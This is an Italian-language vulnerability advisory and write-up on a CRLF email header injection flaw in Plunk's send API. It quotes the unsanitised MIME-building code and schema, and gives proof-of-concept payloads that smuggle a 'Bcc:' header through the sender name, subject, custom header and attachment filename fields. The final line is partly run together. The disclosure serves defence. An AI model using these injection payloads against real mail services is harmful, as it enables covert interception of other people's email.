
CRLF Email Header Injection in Plunk via raw MIME construction — CVSS 8.5
Gravità: Alta (CVSS 8.5)
CWE: CWE-93 — Neutralizzazione impropria delle sequenze CRLF ('Iniezione CRLF')
Componente interessato: useplunk/plunk (tutte le versioni precedenti alla correzione)
Advisory: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
L'endpoint POST /v1/send di Plunk costruisce un messaggio email MIME grezzo interpolando i campi forniti dall'utente (from.name, subject, intestazioni personalizzate, nomi dei file allegati) direttamente in una stringa template senza sanificazione CRLF (\r\n). Un utente API autenticato può iniettare intestazioni email arbitrarie — inclusa Bcc — per reindirizzare silenziosamente copie delle email a indirizzi controllati dall'attaccante.
Stavo facendo audit di piattaforme open-source di invio email — qualsiasi cosa che avvolga AWS SES ed esponga un'API. Plunk è presentato come un'alternativa developer-friendly a SendGrid/Postmark, costruita su SES.
Il mio punto di ingresso è stata la funzione di costruzione email grezza. Ogni volta che vedo rawMessage += o template literal che costruiscono MIME, controllo se ogni campo fornito dall'utente è sanificato da CRLF. In SESService.ts, la risposta era chiaramente no: from.name, subject, intestazioni personalizzate e nomi dei file allegati erano tutti interpolati direttamente.
Ciò che ha confermato che fosse sfruttabile: lo schema Zod (packages/shared/src/schemas/index.ts) non aveva .regex() o .refine() che rifiutassero \r\n su nessuno di quei campi. Nessuna sanificazione a livello di schema, nessuna sanificazione a livello di costruzione MIME — percorso pulito dall'input API all'intestazione MIME iniettata.
Ho testato tutti e quattro i vettori (from.name, subject, valore intestazione personalizzata, nome file allegato) e ho confermato che l'iniezione Bcc: funziona. Qualsiasi utente API autenticato con un dominio mittente verificato può copiare silenziosamente ogni email in uscita a un indirizzo controllato dall'attaccante. Lo scenario di attacco realistico è una chiave API compromessa che si trasforma in un'intercettazione email persistente.
File: apps/api/src/services/SESService.ts, righe 137–151
// Costruzione MIME grezza vulnerabile
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Intestazioni personalizzate interpolate direttamente
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value non sanificato
}
// Nome file allegato
`Content-Disposition: inline; filename="${attachment.filename}"` // non sanificato
Schema Zod (packages/shared/src/schemas/index.ts) — nessuna validazione CRLF:
headers: z.record(z.string().max(998)).optional() // nessun controllo \r\n
from: { name: z.string().optional() } // nessun controllo \r\n
subject: z.string().min(1).max(998) // nessun controllo \r\n
filename: z.string().min(1).max(255) // nessun controllo \r\n
La costruzione MIME grezza richiede che ogni valore fornito dall'utente venga privato di \r\n prima dell'interpolazione. Plunk costruisce il messaggio con template literal e non sanifica nessuno dei quattro campi iniettabili. I parser SMTP interpretano \r\n come delimitatore di intestazione, quindi iniettare \r\nBcc: [email protected] in from.name aggiunge una vera intestazione Bcc al messaggio in uscita.
Vedi poc.py per una dimostrazione completa con quattro vettori di iniezione.
Payload principale — iniezione Bcc tramite from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
MIME grezzo prodotto da SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES consegna una copia silenziosa a [email protected] con ogni email inviata tramite la chiave API compromessa.
Altri vettori di iniezione:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender